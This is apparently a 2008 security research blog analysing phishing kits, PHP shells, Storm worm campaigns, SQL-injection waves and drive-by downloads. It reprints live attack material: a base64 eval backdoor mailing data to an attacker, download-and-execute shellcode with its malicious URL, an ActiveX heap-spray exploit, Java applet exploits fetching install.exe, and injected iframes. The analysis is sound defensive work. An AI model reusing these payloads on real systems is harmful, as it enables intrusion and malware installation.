$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$message=$_POST['message'];
$msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
echo eval(base64_decode("bWFpbCgiZ3JvZmlfaGFja0Bob3RtYWlsLmNvbSIsICRzdWJ
qOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7"));
?>
And the last string, if you don't read base64, really is:
mail("grofi_hack@hotmail.com", $subj98, $msg, $message, $ra44);
So, a little backdoor! What is a poor phisher to do? After phishing kits, one cannot even trust mailers...
July 12, 2008
It is not uncommon for phishing pages to be hosted on compromised web servers. When this happens, besides phishing, the web server is used for a variety of malicious activities. We have seen some time ago a case where such a site was hosting an XSS-based botnet tool.
With this post, I'll start a brief series (probably 3-4 installments in total) on the interesting things you can find on web sites that are taken over to host phishing pages. For today, the topic is PHP shells.
PHP shells are PHP scripts that allow one to execute a number of
commands on a remote server through a simple web-based interface. They
are used by attackers to easily manage the compromised server, install
new tools, attack other sites, and so on.
Here is a screenshot of one of these shells (click on the image for a
larger picture):
From what I've seen, the most commonly-used shells are C99Shell, w4ck1ng, N3tShell, Room Hacker shell, SimAttacker, Locus7s, Vop-Cr3W shell, storm7shell, Safe0ver, Enqu!nx, PHPShell, BK-Code Shell, r57shell, K-H shell, HaTeX shell, phpRemoteView, UniXShell, and BLaCkSHeLL. Of many of these shells, multiple versions exist, with changes ranging from simple modding (e.g., adding scrolling text in the header of the page saying "ccpower was here !") to the introduction of new features.
In terms of functionality, the basic commands include file system management (listing of directories, changing the attributes of files), file upload, and command execution on the server. More advanced features allow the attacker to
Some shells even have the ability to check for updates and to self-remove from the remote server. At least some people are keeping their software updated...
July 11, 2008
The Storm group has launched a new campaign theme, based on the bogus story that World War III would be started. Incidentally, they are starting to be repetitive: they were using a very similar theme back in April 2007.
Besides the usual fake youtube video — you click on it and the
download of the malicious binary starts — they are also using
drive-by download techniques to infect their victims. An iframe points
to the file ind.php, which attempts to perform a number of browser
exploits. Nothing special here: everything is very similar to other
javascript
attacks.
The shellcode used by Storm is also very similar to what we have seen in the
past, both
functionally (download and execute a binary) and in the use of simple polymorphic
techniques. However, there are some differences: one is that it
doesn't store the hash values of the library functions to invoke at the end of
the code. Sequences of hash values probably make for a good signature for IDS
systems. Thus, this shellcode uses hash values inline (in what follows,
find_function returns the address of a function, given the function's hash
and the containing DLL's base address):
00000033: push esi ; kernel32.dll base
00000034: push dword 0xec0e4e8e ; LoadLibrary (hash)
00000039: call 0x13c<find_function>
0000003E: mov [ebp+0x4],eax
00000041: push esi
00000042: push dword 0xe8afe98 ; WinExec (hash)
00000047: call 0x13c<find_function>
0000004C: mov [ebp+0x8],eax
0000004F: push esi
00000050: push dword 0xc2ffb025 ; DeleteFileA (hash)
00000055: call 0x13c<find_function>
0000005A: mov [ebp+0xc],eax
0000005D: push esi
0000005E: push dword 0x60e0ceef ; ExitThread (hash)
00000063: call 0x13c<find_function>
00000068: mov [ebp+0x10],eax
0000006B: push esi
0000006C: push dword 0xb8e579c1 ; GetSystemDirectoryA (hash)
00000071: call 0x13c<find_function>
Here is an example of how one these library functions is invoked. This is the function URLDownloadToFile from the urlmon DLL.
000000EB: xor ebx,ebx
000000ED: push ebx ; NULL
000000EE: push ebx ; NULL
000000EF: push dword [ebp+0x20] ; ptr to "SYSDIR/~.exe"
000000F2: push eax ; eax := addr of the URL
000000F3: push ebx ; NULL
000000F4: mov eax,[ebp+0x1c] ; eax := addr of URLDownloadToFile
000000F7: push byte +0x5
000000F9: pop ecx ; ecx := 5
000000FA: mov edx,[ebp+0x18] ; edx := ptr to ret instruction
000000FD: call 0x125<call_lib_func>
The function that I named call_lib_func invokes the requested DLL function.
It receives the number of parameters (in ecx), the function address (in
eax), and the address of a ret instruction (in edx). It first sets
up the stack (return address into the caller first, followed by the
parameters, and the address of the ret instruction last), and then jumps to
the library function's address. The weird stack manipulation is required
since Win32 API functions use the
__stdcall calling convention.
00000125: inc ecx ; ecx := # params + 1
00000126: pop ebx
00000127: push edx
00000128: add esp,ecx
0000012A: add esp,ecx
0000012C: add esp,ecx
0000012E: add esp,ecx ; esp points past the last parameter
fixup_stack_for_stdcall:
00000130: sub esp,byte +0x4
00000133: pop edx
00000134: push ebx
00000135: mov ebx,edx
00000137: loop 0x130<fixup_stack_for_stdcall>
00000139: push edx ; edx points to ret instruction
0000013A: jmp eax ; eax holds address of lib function
The final effect of the shellcode is:
July 5, 2008
In web-based attacks, such as the ones employed in the recent SQL injection attacks, you have to go through three layers of JavaScript obfuscation and as many redirects before getting to the actual exploit code. And, the tricks of the attackers do not stop here.
In fact, attackers are also using polymorphic techniques to mutate the code of their shellcode and avoid detection by anti-virus and anti-malware tools.
This is the beginning of the shellcode found in one these attacks:
00000000: E800000000 call 0x5
00000005: 5D pop ebp
00000006: 83C514 add ebp,byte +0x14 ; ebp = 0x19
00000009: B98D010000 mov ecx,0x18d ; for i in range(0x18d):
0000000E: B0A1 mov al,0xa1
00000010: 304500 xor [ebp+0x0],al ; [ebp] = [ebp] ^ 0xa1
00000013: 45 inc ebp ; ebp += 1
00000014: 49 dec ecx
00000015: 75F9 jnz 0x10
00000017: EB00 jmp short 0x19
00000019: 3131 xor [ecx],esi
0000001B: 3131 xor [ecx],esi
0000001D: ...
The code gets the current EIP, skips 0x14 additional bytes (the decryption instructions), and xors the remaining 0x18d bytes with the value 0xa1. After undoing the obfuscation, one obtains the same shellcode we have seen some time ago:
00000019: 90 nop
0000001A: 90 nop
0000001B: 90 nop
0000001C: 90 nop
0000001D: 90 nop
0000001E: 90 nop
0000001F: 90 nop
00000020: 90 nop
00000021: E9FC000000 jmp 0x122
00000026: 5F pop edi
00000027: 64A130000000 mov eax,[fs:0x30]
0000002D: 780C js 0x3b
0000002F: 8B400C mov eax,[eax+0xc]
00000032: 8B701C mov esi,[eax+0x1c]
00000035: AD lodsd
00000036: 8B6808 mov ebp,[eax+0x8]
00000039: EB09 jmp short 0x44
0000003B: ...
July 2, 2008
In the past few weeks, there have been a number of rounds of massive SQL injection attacks. The attacks inject a script tag in every textual column of the vulnerable databases. This script tag includes a script from a remote site, which I call the injected site. This script, usually, redirects the browser to a second script (possibly on a different site, the target site), which, finally, carries out the actual attack. These attacks are similar to the one I've described before.
For those who are interested, M. Zino has written a good description of the SQL injection mechanism, D. Danchev has an impressive list of high-profile victims of the attack, and the folks at dynamoo keep track of the malicious domains involved in the campaigns.
Collecting data about the injection campaigns is not difficult. For example, most dynamic pages store their title in a textual column in a database. If the application is vulnerable to a SQL injection attack, the injected script tag will be found (also) in the title of the page. Therefore, search queries similar to:
intitle:"<script src=http"
will reveal a large number of victims of the attack. Adding additional terms to the query will return different result sets. Since Google, Yahoo, and MSN Live offer programmatic access to their search engines, it is possible to automate the data collection process.
Visualizing the data that I have collected reveals some interesting things. First, the injection campaigns are indeed massive. Here is a graph showing a small portion of the data I have. Blue circles represent domains that were victims of the attack. Orange circles represent domains that hosted the injected script, i.e., "injected domains".
Certain pages ended up being victim of a large number of injections. Here is a case with 29 injected script tags.
Conversely, certain domains appear in a large number of injected tags.
These are the super villains of the SQL injection campaigns (e.g.,
xprmn4u.info).
Finally, it is interesting to observe the structure of links between malicious domains. Here, orange circles are, as before, domains that appear in the injected script tags, while blue circles are "target domains", i.e., domains to which the browser is redirected to by the injected script.
For example, consider the node www.app52.com in the lower-left corner of
the graph. At least a page was injected with a script tag pointing to a
JavaScript script on www.app52.com. This script redirects through an
iframe to a script on base48.com.
Notice how certain domains (e.g., batch29.com, in the middle of the
graph) are the target of many different redirections. Conversely, several
injected domains (e.g., www.datajto.com) redirect to different
targets. This is because the injected script contains different targets
every time it is fetched.
June 24, 2008
Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.
Let's meet the shellcode:
var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");
It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.
First, the shellcode obtains the address of kernel32.dll. It uses the
PEB-based technique
first described by The Last Stage of
Delirium:
0000000E mov eax,[fs:0x30] ; get the PEB
00000014 js 0x22<find_kernel32_9x>
find_kernel32_nt:
00000016 mov eax,[eax+0xc] ; get ptr to PEB_LDR_DATA
00000019 mov esi,[eax+0x1c] ; get 1st entry of InInitalizationOrderModuleList
0000001C lodsd
0000001D mov ebp,[eax+0x8] ; get kernel32.dll base
00000020 jmp short 0x2b
find_kernel32_9x:
00000022 mov eax,[eax+0x34]
00000025 lea eax,[eax+0x7c]
00000028 mov ebp,[eax+0x3c]
Once the base address of kernel32.dll is known, it can be used to
identify the address of useful functions exported in this DLL. To do so,
the shellcode defines a routine, let's call it find_function, that
walks the export name table of the given DLL and looks for a given
function name. Instead of matching directly on the name of the function,
the shellcode computes a simple hash of the name, and uses that to
locate interesting functions. This is probably done to save some space
and obfuscate the purposes of the code.
The find_function expects two parameters: the base address of the DLL
(contained in the ebp register) and a pointer to the hash of the
function to identify (in the edi register):
find_function:
000000C4 push ecx
000000C5 push esi
000000C6 mov esi,[ebp+0x3c] ; get the PE header
000000C9 mov esi,[esi+ebp+0x78]
000000CD add esi,ebp
000000CF push esi
000000D0 mov esi,[esi+0x20] ; get the export name table
000000D3 add esi,ebp
000000D5 xor ecx,ecx
000000D7 dec ecx
hash_init:
000000D8 inc ecx
000000D9 lodsd
000000DA add eax,ebp
000000DC xor ebx,ebx ; ebx stores the computed hash
hash_update:
000000DE movsx edx,byte [eax]
000000E1 cmp dl,dh
000000E3 jz 0xed<hash_done>
000000E5 ror ebx,0xd
000000E8 add ebx,edx
000000EA inc eax
000000EB jmp short 0xde<hash_update>
hash_done:
000000ED cmp ebx,[edi] ; have we found the given hash?
000000EF jnz 0xd8<hash_init>
000000F1 pop esi
000000F2 mov ebx,[esi+0x24]
000000F5 add ebx,ebp
000000F7 mov cx,[ebx+ecx*2]
000000FB mov ebx,[esi+0x1c]
000000FE add ebx,ebp
00000100 mov eax,[ebx+ecx*4]
00000103 add eax,ebp
00000105 stosd ; store the address in place of the hash
00000106 pop esi
00000107 pop ecx
00000108 ret
The hash value is computed with simple ror and add operations. I use
the following code to compute the hash of a function name:
unsigned int ror(unsigned int num, int places) {
return (num >> places) | (num << (32 - places));
}
unsigned int get_hash(const char *name) {
const char *ch;
unsigned int hash = 0;
for (ch = name; *ch; ch++) {
hash = (ror(hash, 0xd) + *ch);
}
return hash;
}
The hashes of the functions to locate are stored in a table at the end
of the shellcode. With the above program and a list of all the functions
in kernel32.dll (obtained from
here), it is easy to
indentify the name of the corresponding functions:
0000010E dd 0EC0E4E8Eh ; LoadLibraryA (hash)
00000112 dd 0E8AFE98h ; WinExec (hash)
00000116 dd 73E2D87Eh ; ExitProcess (hash)
0000011A dd 5B8ACA33h ; GetTempPathA (hash)
0000011E dd 702F1A36h ; URLDownloadToFileA (hash)
At this point, the shellcode loads urlmon.dll and finds the
function URLDownloadToFileA:
00000037 push dword 0x6e6f
0000003C push dword 0x6d6c7275
00000041 push esp
00000042 call near [esi] ; LoadLibraryA("urlmon")
00000044 mov ebp,eax
00000046 call 0xc4<find_function> ; find_function(urlmon.dll, URLDownloadToFileA)
The shellcode then creates a temporary file (using the GetTempPathA
function), downloads a file from
http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA
function), executes the downloaded file (via WinExec), and finally exits
(ExitProcess).
Not bad for what initially just looked like a long string in a JavaScript script...
June 23, 2008
JavaScript-based attacks are getting more and more sophisticated, thanks
probably to the use of exploit toolkits. Here is an example of a few
days ago. The domain involved was adsitelo.com, which seems to have
been involved in a round of SQL injection attacks.
As a start, it is interesting to note that the domain was (likely)
fast-fluxed. Some of the IP addresses associated with it were
129.118.49.144, 150.254.2.155, 66.40.18.206, 70.244.115.171,
75.71.118.180, 79.94.146.249, 88.107.136.34, 99.234.157.198, and
99.246.193.180.
The initial step of the attack is a redirection: the page
http://adsitelo.com/cgi-bin/index.cgi?ad redirects to
http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000.
Now, if you tried to directly download the landing page, you would be
presented with a 500 error page. The real content, in fact, is reachable only
under two conditions: the User-Agent identifies the browser as Internet
Explorer or Firefox, and the Referer is correctly set.
wget allows us to quickly work around these problems:
$ wget --connect-timeout=3 --user-agent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" \
--referer=http://adsitelo.com/cgi-bin/index.cgi?ad \
"http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000"
The downloaded document is a JavaScript page:
function X88MxUL0B(U1TaW1TwV, IyxC82Rbo){var c5kJu150o = 4294967296;
var s3KRUV5X6 = arguments.callee;s3KRUV5X6 = s3KRUV5X6.toString();
s3KRUV5X6 = s3KRUV5X6 + location.href;var s4wL1Rf57 = eval;
var SLpdE73p3 = s3KRUV5X6.replace(/\W/g, "");SLpdE73p3 = SLpdE73p3.toUpperCase();
...
var Cm6B7c5TS = 0;try {s4wL1Rf57(LR8yTdO7t);} catch(e) {Cm6B7c5TS = 1;}
try {if (Cm6B7c5TS) {window.location = "/";}} catch(e) {}}
X88MxUL0B('ACada193b99ca7a4667B9668b2A3876BBF705b7Ba96799A578A165687
...
7C6E69667B6c6E6d7c6B69947C676d9A7d6D676279665F5f81');
The script consists of two parts: a decryption routine (named
X88MxUL0B) and the encrypted payload (the long string at the end of
the script). There are two things to notice
in the script:
arguments.callee.toString() function to prevent
modification to the body of the decryption routine. location.href property as part of the decryption key,
so that analyses that don't set it correctly will not be able to
reconstruct the malicious payload.
Another interesting feature of the script is that, on successive
requests, the payload was encrypted using different keys, so that it
appeared different.In any case, decrypting the payload is not difficult. I just prepend the following lines to the original script and pass it to Rhino:
location={href:'http://adsitelo.com/cgi-bin/index.cgi?ad'};
eval=print;
The first sets the location.href property as required, the second
prints to the console all the strings passed to the eval function for
evaluation. The result is... another obfuscated script, exactly similar
to the one just decrypted. So, let's apply another round of decryption.
This time, we get a clear-text JavaScript script. The script sets a cookie (probably to show that exploitation is under way) and attempts to perform three attacks. The attacks seem to target vulnerabilities CVE-2006-5820, CVE-2007-5779, and CVE-2007-0015. The Firefox version of the malicious script contains only one attack, probably targeting CVE-2006-0005.
As an example, the code for one of these attacks is:
try {
var AMOoik_m = new ActiveXObject("GomWebCtrl.GomManager.1");
if (AMOoik_m) {
Exhne69P();
var Amce264J='';
var dHSLlQxf = 506;
for(var M13B4SOH=0;M13B4SOH<dHSLlQxf;M13B4SOH++)
Amce264J += "A";
Amce264J += unescape("%0c%0c%0c%0c");
dU578_go(13);
AMOoik_m.OpenURL(Amce264J);
}
} catch(e) {
}
The function dU578_go sets a cookie. The function Exhne69P uses heap
spray techniques to actually complete the exploit. But this is material
for another post :-)
June 21, 2008
Phishers do put a lot of effort into creating a successful phishing site. They register domains that look like the legitimate ones, set up fast-flux infrastructures, compromise vulnerable machines to deploy phishing kits, send lots of emails to attract victims.
However, sometimes phishers slip up. For example, deploying a Christmas-themed PayPal phishing site in June is, well, a giveaway...

Happy holidays!
June 17, 2008
Certain old tricks just don't want to go away. By all standards, the fake address bar trick must be a classic. It consists of showing an image that looks like the browser's address bar at the top of the page, displaying a legitimate URL.
A recent reappearance of this trick occurred in PhishTank entry
459204. The phishing pages were hosted on
lsarccc.com, but the fake address bar displays the more reassuring
domain www.lloydstsb.com.

Welcome back...
June 9, 2008
One interesting twist in phishing is the use of obfuscation to masquerade the real content of phishing pages. PhishTank entry 444100 was a good example of this new "evolution".
The main page of the phish replicates the login page of eBay. As is
commonly done, the login form is handled by a PHP script on the
vulnerable server. More interesting are the links to other resources,
Consider, for example, the link to the page describing the policies of
the targeted site. It also points at a local file, named k.html.
However, k.html uses JavaScript to obfuscate its contents:
document.write(unescape("%3C%53%43%52%49...%50%54%3E"));
hp_d00(unescape("%3C%53%43%52...50%54%3E"));
hp_d00(unescape("%3C%48%45%41...%41%44%3E"));
hp_d00(unescape("%3C%42%4F%44...44%59%3E"));
It is trivial to revert the obfuscation and reveal the actual content:
<SCRIPT LANGUAGE="JavaScript"><!--
hp_ok=true;function hp_d00(s){if(!hp_ok)return;document.write(s)}
//--></SCRIPT>
<SCRIPT LANGUAGE="JavaScript"><!--
function hp_ne(){return true}onerror=hp_ne;
if(navigator.userAgent.indexOf('Opera')!=-1)
window.location="about:blank";
//--></SCRIPT>
<HEAD><META HTTP-EQUIV="Pragma" CONTENT="No-Cache"><META NAME="Robots"
CONTENT="NoIndex"><META HTTP-EQUIV="Expires" CONTENT="-1"></HEAD>
<BODY><meta http-equiv="Refresh"
content="0;url=http://pages.ebay.com/help/policies/hub.html?ssPageName=f:f:US">
</BODY>
The generated HTML code redirects to the appropriate page on the legitimate eBay site. Note that, by using a refresh redirect (never mind that it should be in the head section of the file, rather than in the body), the phishing site clears the referer header and, thus, evades simple hotlinking analysis. At this point, it is not clear to me why the script handles opera differently. Suggestions?
May 22, 2008
After hearing all kinds of stories about bad security at MySpace, I finally found a hacked profile. The profile, cyn7777, has now been cleaned up, so some parts of what follows will not work anymore.
The key of the attack were the following lines that were inserted in the profile's main page:
<a href="http://www.msplinks.com/MDFodHRwOi8vY29tLmNvbS9yZWRpcj9lZEl
kPTMmZGVzdFVybD1mdHA6Ly9taWNyb3NvZnBjZW50ZXI3MS5jbi9LQjg5MDgzMS5leG
U="><img
src="http://img341.imageshared.cn/.." style="position:absolute;
left:0px; top: 0px;" border="0"></a>
The code loaded an image similar to the following one and superimposed it to the page's contents. The actual image had 990x990 dimensions and transparent background, so, at first sight, the figure could be taken for a system's window: a classic picture-in-picture attack.

Clicking anywhere on most of the page caused the browser to visit the
base64-looking URL on msplinks.com. It turns out
that back in April 2007 MySpace started to convert certain links to
redirects through the msplinks.com site (check out the source of its
index page :-)). The goal? "To easily turn off links to spam, phishing,
or virus sites".
It looks like that didn't work too well... In fact, the link on
msplinks.com (still) redirects to
http://com.com/redir?edId=3&destUrl=ftp://microsofpcenter71.cn/KB890831.exe, which redirects tohttp://www.cnet.com/redir?edId=3&destUrl=ftp://microsofpcenter71.cn/KB890831.exe, which redirects tohttp://dw.com.com/redir?edId=3&destUrl=ftp://microsofpcenter71.cn/KB890831.exe, which redirects to http://dw.com.com/redir/redx/?edId=3&destUrl=ftp://microsofpcenter71.cn/KB890831.exe, which, finally, redirects to ftp://microsofpcenter71.cn/KB890831.exe(Incidentally, nice open redirector, cnet.com!)
The ftp site is still active and serves a bunch of exe files (all
identical, except for their names). It seems the files have been changed
in the last few days, probaby to evade detection from anti-virus tools.
In any case, VirusTotal
recognizes the old and the new version as some
form of trojan/downloader. According
to
anubis, among other
things, the binaries launch Internet Explorer and visit
http://mycashloads.com/newuser.php?saff=373.0, which, however,
redirects to yahoo.com.
May 16, 2008
And when you thought you knew all the tricks to detect phishing sites, had installed all the anti-phish browser plugins, and had developed a bunch of heuristics to identify phishing e-mails at first sight, they change the medium.
This morning I received the following SMS from 1010100001:
FRM:security@rabobankamerica.com
SUBJ:ALERT
MSG:Your Rabobank America account is closed due to unusual activity,
call us now at 8603830711.
Besides the obviously bogus source number, the fact that I don't have an account at Rabobank America was sort of a give away... The phone number turned out to be already disconnected, but I suspect I would have found a voice message asking for my credentials and other confidential information.
I think this is an interesting development. First, we are certainly less experienced at considering SMS content as suspicious. If you receive SMSs only from friends (and possibly the annoying advertisements from your carrier), you may think SMSs are trustworthy by default. Second, on cell phones, we may have less possibilities to check the authenticity of received messages: my (admittedly, very cheap and unsophisticated) phone has no anti-phish SMS plugin and no browser.
From the attacker's point of view, it would be interesting to see how they are paying for sending the messages. Compromised accounts on an SMS-sending web site? Stolen credit card? Other suggestions?
May 11, 2008
It's not uncommon for attackers to exploit a vulnerable web server and use it for several different purposes: maximization of the return on investment, some might say. Case in point are three recent entries in PhishTank (439391, 439479, and 442568).
As the PhishTank reference says, these sites were used to host phishing pages. Nothing special here: the usual replicas of banking and governmental web sites. More interestingly, all the legitimate HTML pages on the sites were modified to include the following script tag:
<script src="http://216.214.109.45/private/xxx/xssshell.asp?v=336699"></script>
This code fetches a copy of the XSS Shell, a tool that essentially transforms the browser into a bot, controllable by the attacker through cross-site scripting (XSS) mechanisms. The tool, published at the end of 2006 as a proof-of-concept of XSS, comes with a useful set of predefined commands (e.g., start keylogging, get internal IP, launch DoS attack), is prepackaged with a nice administration interface, and has extensive documentation.
It turns out that the attacker hasn't fully read the xssshell instructions, in particular the part on installing the back-end database outside of the document root, with the effect that the database is publicly accessible... The database contains information about the victims of the tool and a log of the attacker's commands. After opening the database, a MS Access file readable with the MDB Tools, it is possible to reconstruct some of the attacker's activity.
Here are the highlights:
April 29, 2008
Kind of late, but better than never I guess :-)
At the beginning of the months, the Storm gang got quite some coverage by launching a new attack campaign, based, this time, on a codec theme. Essentially, the gang tries to convince people to install a piece of malware (apparently, a NUWAR/Storm variant), by using the common social engineering trick of a missing video codec.
An interesting detail about the campaign was that it used a
fastflux domain name, i.e.,
supersameas.com. Let's take a look at its infrastructure.
On April 9, I started to query the supersameas name servers to harvest the IP addresses associated with the campaign. At each request, the name server would reply with one IP address with 0 TTL. I continued to query the server until it gave me for 30 consecutive times addresses that I had already seen. At that point, I switched to a new name server, and so on.
In total, I collected 1416 IP addresses from 405 ASes. For about 100 IPs, I could not get the corresponding AS, so what follows may be slightly skewed. The ASes with more than 20 addresses were:
In terms of geographical distribution, the affected ASes were in the following countries:
Starting on April 10 at 11:27:18 PST, I also monitored for a few days if the addresses used by the campaign were still up and running, and serving the malicious content of the campaign. The following figure shows how many sites were still compromised at intervals of one hour.

Notice that almost 75% of the hosts had already been taken down (or were otherwise unreachable) when I started the measurement. After about 12 hours, the number of live sites drops lower than 100; after other 12 hours, it is reduced by a factor of 5, down to just 21 sites. It finally reaches 1 site after some 67 hours and stays like that for at least other 3 days.
April 14, 2008
Lately, there has been a lot of interest in drive-by downloads and at least a couple of very good studies on this phenomenon.
Here, I will discuss in details some of the more technical aspects of these attacks, using a specific case study. Note: the malicious page is now gone, but some of the other resources may still be up and running...
The first step of the attack consists of redirecting the victim's browser to a number of "attack pages" that attempt to exploit various vulnerabilities and cause malware to be installed and run automatically. The redirection is typically done by injecting iframes in a page. Often, the injection is masqueraded by using a number of obfuscation techniques.
In our case, the injecting page contains two injections.
The first injection uses the unescape function to cover its purpose:
document.writeln(unescape ('%3c%49%46%52%41%4d%45%20%6e%61%6d%65
%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74
%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b
%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68
%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27
%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d
%45%3e'));
Once decoded, the escaped string reads:
<IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' +
Math.round(Math.random()*30295)+'4f5b' width=83 height=365
style='display:none'></IFRAME>
The second injection uses a couple of different tricks: randomized variable and function names, and manual string decoding:
function BD37A78D25DEEF10B10A677B5F0(B9D5D6B429B3B9BD29A08C8){
return(parseInt(B9D5D6B429B3B9BD29A08C8,16));}function
D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA){function
C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;return
D83D6CE95B0A38CD6F;}var D71C351C9A9105908A5D4D9624954="";for(
CEDB124A2EA9FE61EB10A584FE0E8=0;CEDB124A2EA9FE61EB10A584FE0E8<
D6242D36DFD76213ED900E11FDA.length;CEDB124A2EA9FE61EB10A584FE0E8+=
C56A17251C947C7EF()){D71C351C9A9105908A5D4D9624954+=
(String.fromCharCode(BD37A78D25DEEF10B10A677B5F0(
D6242D36DFD76213ED900E11FDA.substr(CEDB124A2EA9FE61EB10A584FE0E8,
C56A17251C947C7EF()))));} document.write(D71C351C9A9105908A5D4D9624954);
}D5281A4C55A9736772D3539EA51("3C696672616D65207372633D687474703A2F2F
6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068
703F735F69643D32302077696474683D31206865696768743D31207374796C653D22
646973706C61793A6E6F6E65223E3C2F696672616D653E");
To quickly recover the code, I redefine the document
object to print to the console (document={write:print}) and run the
script in
rhino:
<iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
width=1 height=1 style="display:none"></iframe>
A typical attack page contains a barrage of exploits targeting a variety of exploits in different versions of the browser, operating system, and other programs. As we will see, our case study is not an exception.
It turns out that the first iframe points at an empty page: it must have already been taken down.
The second iframe is more interesting: it spits out a 302 response to
redirect to http://vipasotka.com/in.php (119.42.149.22), which, in
turn, redirects to http://golnanosat.com/in.php (same IP address).
in.php is also variously scrambled, but the (now) usual deobfuscation
step in rhino allows us to quickly make sense of it. This file generates
another somewhat obfuscated JavaScript snippet. After some inspection
and some googling, the script appears to be divided in two parts. The
first part is essentially a JavaScript rewrite of metasploit's
exploit for MS06-014: the code
tries very hard to download (via XMLHttpRequest) the executable
install.exe from http://golnanosat.com/adw_files/5010/8275793f/, to
add it to the startup programs, and to run it. The exploit code is
IE-specific and goes to great lengths to "support" a number of different
Windows versions.
The second part brings a bag of Java tricks into the picture.
<applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
try {
var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
var unsafe=unsafemeth.invoke(unsafemeth,null);
document.maniman.foobar(unsafe);
var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
var chen=unsafe.allocateInstance(chenref);
chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
chen.setUname("5010");
chen.setCID("other");
}catch(d){}
<applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>
<param name=usid value=us0105>
<param name=linkurl
value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3">
</applet>
<applet archive="ms03011.jar" code="MagicApplet.class" width=1 height=1>
<param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4">
</applet>
The first trick uses reflection and the internal sun.misc.unsafe class
to dynamically create a class instance that bypasses the security
restrictions of the Java VM: this seems an old
bug that dates back to 2004. The second one
is recognized by some anti-virus as Java/TrojanDownloader.OpenStream.
The last trick looks like an exploit for another old bug
(MS03-011) that affected the ByteCode
Verifier of the Microsoft VM. In all cases, the goal is to download
and execute the usual install.exe file.
The attack pages serve two binaries. VirusTotal reports mixed detection results: 13/32 and 8/32.
I'll conclude the analysis with some quick considerations:
April 2, 2008
A few days ago, the news spread that ready-to-go scam kits targeting banks and other sensitive web sites were available for download. Nothing new here except for the fact that the kits were given away for free.
The reason for such generosity? Will see in a moment.
I've got my hands on some of the kits and I've analyzed one of them. This analysis is relative to the Chase scam kit (others seem similar at first sight) retrieved on 31/3/2008.
The scam kit is a collection of php, html, css, and image files that provide a phishing web site for JP Morgan Chase online banking. The kit collects username, password and personal information, such as credit card numbers and social security numbers. The collected information is sent back to the scammer via e-mail. At first sight, all a scammer has to do is modify one file in the kit to set the appropriate e-mail address and attract traffic to the phishing page.
The reality is bit different: a larger pool of people seem to benefit from the scammer's efforts. In other words, scammers are getting scammed by more clever scammers.
Let's see how this happens.
